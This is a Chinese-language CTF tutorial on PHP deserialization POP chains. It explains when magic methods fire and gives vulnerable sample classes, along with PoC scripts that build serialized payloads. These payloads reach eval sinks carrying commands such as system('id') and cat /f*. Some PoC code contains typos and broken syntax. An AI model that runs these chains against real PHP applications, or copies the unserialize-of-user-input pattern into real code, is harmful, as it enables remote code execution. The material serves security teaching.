目录
一、什么是POP
二、成员属性赋值对象
例题:
方法一
方法二
三、魔术方法的触发规则
例题:
四、POC的编写
例题1:
例题2 [NISACTF 2022]babyserialize
今日总结:
一、什么是POP
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。
php反序列化:PHP反序列化_在线反序列化-CSDN博客
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.
二、成员属性赋值对象
例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test; //$test为私有属性
public function __construct(){
$this->test = new normal(); 调用魔术方法__construct,test = new normal()
}
public function __destruct(){
$this->test->action(); //__destruct()从$test调用action()
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2); //漏洞点,利用eval()函数来执行代码,调用test2
}
}
unserialize($_GET['test']);
?>
分析代码可得:
1、利用反序列化触发__destruct()从$test中调用action()
2、正常情况下我们会new index(),但实例化触发__construct()导致new normal()
3、new normal()会导致__destruct()从$test中调用的action()是normal类中的,而我们要的是evil类中的action(),所以给$test赋值为对象new evil()
方法一
实例化index(),直接触发__construct的魔术方法
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
// public function __destruct(){
// $this->test->action();
}
}
// class normal {
// public function action(){
// echo "please attack me";
}
}
class evil {
var $test2 = "system('id');";
}
$a=new index();
echo serialize($a);
?>
方法二
直接调用属性test2
<?php
class index {
var $test;
}
class evil {
var $test2;
}
$a= new evil();
$a ->test2="system('id');";
$b= new index();
$b ->test=$a;
echo serialize($b);
?>
三、魔术方法的触发规则
魔术方法触发前提:魔术方法所在类(或对象)被调用
例题:
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __toString(){
echo "toString is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
目标:显示wakeup is here!!toString is here!!
解题:
<?php
class fast {
public $source;
// public function __wakeup(){
// echo "wakeup is here!!";
// echo $this->source;
// }
}
class sec {
var $benben;
// public function __toString(){
// echo "toString is here!!";
// }
}
$a=new fast(); //实例化fast
$b=new sec(); //实例化sec
$a->source=$b; //将source赋值为$b
echo serialize($a); //在触发__wakeup()后执行echo从而触发__toString()
?>
四、POC的编写
poc(proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
编写一段不完整的程序,以获取所需要的序列化字符串。
例题1:
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag; //目标:触发echo,调用$flag
}
public function __invoke(){ //__invoke()触发时机:把对象当成函数
$this->append($this->var); //触发__invoke()调用append,并使$var=flag.php
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){ //无用
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function(); //可能把对象当成函数使用的地方
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
目标:触发echo调用$flag
解决此题之前,需要知道各个魔术方法的触发条件
触发__invoke():把对象当成函数使用;
触发Test中的__get():调用的成员属性不存在;
触发Test中的__toString():把对象当成字符串调用;
触发__wakeup():反序列化unserialize之前
1.知道此题的魔术方法的触发条件之后,然后我们来分析,主要使用到了反推法,根据代码可得,要echo $flag,就要使用到append这个函数,而触发这个函数需要触发__invoke这个魔术方法
2.找到把对象当成函数使用的地方,return $function(),$function被赋值为p,又要触发__invoke,所以p需要赋值为 new Modifier();这里需要触发__get这个魔术方法,找到Test中它不存在source这个成员变量
3.这里就注意到Show这个类里面的东西,如果调用__wakeup()里的source触发echo,触发echo则触发__toString(),__toString()里面会调用$str,$str再调用它里面的source,此时给$str赋值为new Test(),Test中不含有source触发 __get()
4.调用了__wakeup(),就需要将$source赋值为new Show(),反序列化$source触发wakeup()
分析完成,编写poc
<?php
//flag is in flag.php
class Modifier {
private $var='flag.php';
// public function append($value)
// {
// include($value);
// echo $flag;
// }
// public function __invoke(){
// $this->append($this->var);
// }
}
class Show{
public $source;
public $str;
// public function __toString(){
// return $this->str->source;
// }
// public function __wakeup(){
// echo $this->source;
// }
}
class Test{
public $p;
// public function __construct(){
// $this->p = array();
}
// public function __get($key){
// $function = $this->p;
// return $function();
// }
}
$mod=new Modifier();
$show=new Show();
$test=new Test();
$test ->p=$ mod;
$show ->str=$test;
$show ->source=$show;
echo serialiaze($show);
?>
例题2 [NISACTF 2022]babyserialize
相关的魔术方法:
名称 | 触发条件 |
---|---|
__wakeup() | 执行unserialize()时,先会调用这个函数 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__set() | 对私有成员属性进行设置值时自动触发 |
__toString() | __toString() |
__invoke() | 当尝试将对象调用为函数时触发 |
分析题目可得
(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。
(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
(3)__toString反推到__set
在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
(4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup
构造POC链
<?php
class NISA{
public $fun;
public $txw4ever;
// public function __wakeup()
// {
// if($this->fun=="show_me_flag"){
// hint();
// }
}
// function __call($from,$val){
// $this->fun=$val[0];
// }
// public function __toString()
// {
// echo $this->fun;
// return " ";
// }
// public function __invoke()
// {
// checkcheck($this->txw4ever);
// @eval($this->txw4ever);
// }
//}
class TianXiWei{
public $ext;
public $x;
// public function __wakeup()
// {
// $this->ext->nisa($this->x);
// }
}
class Ilovetxw{
public $huang;
public $su;
// public function __call($fun1,$arg){
// $this->huang->fun=$arg[0];
// }
// public function __toString(){
// $bb = $this->su;
// return $bb();
// }
}
class four{
public $a;
private $fun;
// public function __set($name, $value)
// {
// $this->$name=$value;
// if ($this->fun = "sixsixsix"){
// strtolower($this->a);
// }
// }
}
$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;
echo urlencode(serialize($a));
?>
传参,得到flag
今日总结:
1.构造pop链,需要先分析代码
2.找到pop链的开端,再使用反推法,一个一个魔术方法的绕过
3.能够理解魔术方法的触发条件